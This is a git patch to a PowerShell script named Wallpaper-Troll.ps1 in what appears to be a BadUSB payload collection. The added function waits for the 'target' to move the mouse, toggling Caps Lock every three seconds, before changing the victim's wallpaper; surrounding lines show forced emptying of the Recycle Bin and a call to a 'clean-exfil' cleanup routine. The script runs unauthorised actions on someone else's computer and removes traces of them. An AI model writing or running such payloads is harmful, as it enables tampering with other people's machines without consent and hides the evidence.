From 22ea22ac5ce5bc82a9c62b4aee565ea4129b8efa Mon Sep 17 00:00:00 2001
From: I-Am-Jakoby <Michaelryanchitwood@gmail.com>
Date: Sat, 14 Jan 2023 11:06:42 -0600
Subject: [PATCH] Update Wallpaper-Troll.ps1

---
 .../Flip-Wallpaper-Troll/Wallpaper-Troll.ps1  | 22 ++++++++++++++++++-
 1 file changed, 21 insertions(+), 1 deletion(-)

diff --git a/Payloads/Flip-Wallpaper-Troll/Wallpaper-Troll.ps1 b/Payloads/Flip-Wallpaper-Troll/Wallpaper-Troll.ps1
index bbd4265..186e44d 100644
--- a/Payloads/Flip-Wallpaper-Troll/Wallpaper-Troll.ps1
+++ b/Payloads/Flip-Wallpaper-Troll/Wallpaper-Troll.ps1
@@ -405,7 +405,27 @@ Clear-RecycleBin -Force -ErrorAction SilentlyContinue
 }
 
 #----------------------------------------------------------------------------------------------------
- 
+
+function Target-Comes {
+Add-Type -AssemblyName System.Windows.Forms
+$originalPOS = [System.Windows.Forms.Cursor]::Position.X
+$o=New-Object -ComObject WScript.Shell
+
+    while (1) {
+        $pauseTime = 3
+        if ([Windows.Forms.Cursor]::Position.X -ne $originalPOS){
+            break
+        }
+        else {
+            $o.SendKeys("{CAPSLOCK}");Start-Sleep -Seconds $pauseTime
+        }
+    }
+}
+
+#----------------------------------------------------------------------------------------------------
+
+Target-Comes
+
 Set-WallPaper -Image "$Env:USERPROFILE\Desktop\$ImageName.jpg" -Style Center
 
 clean-exfil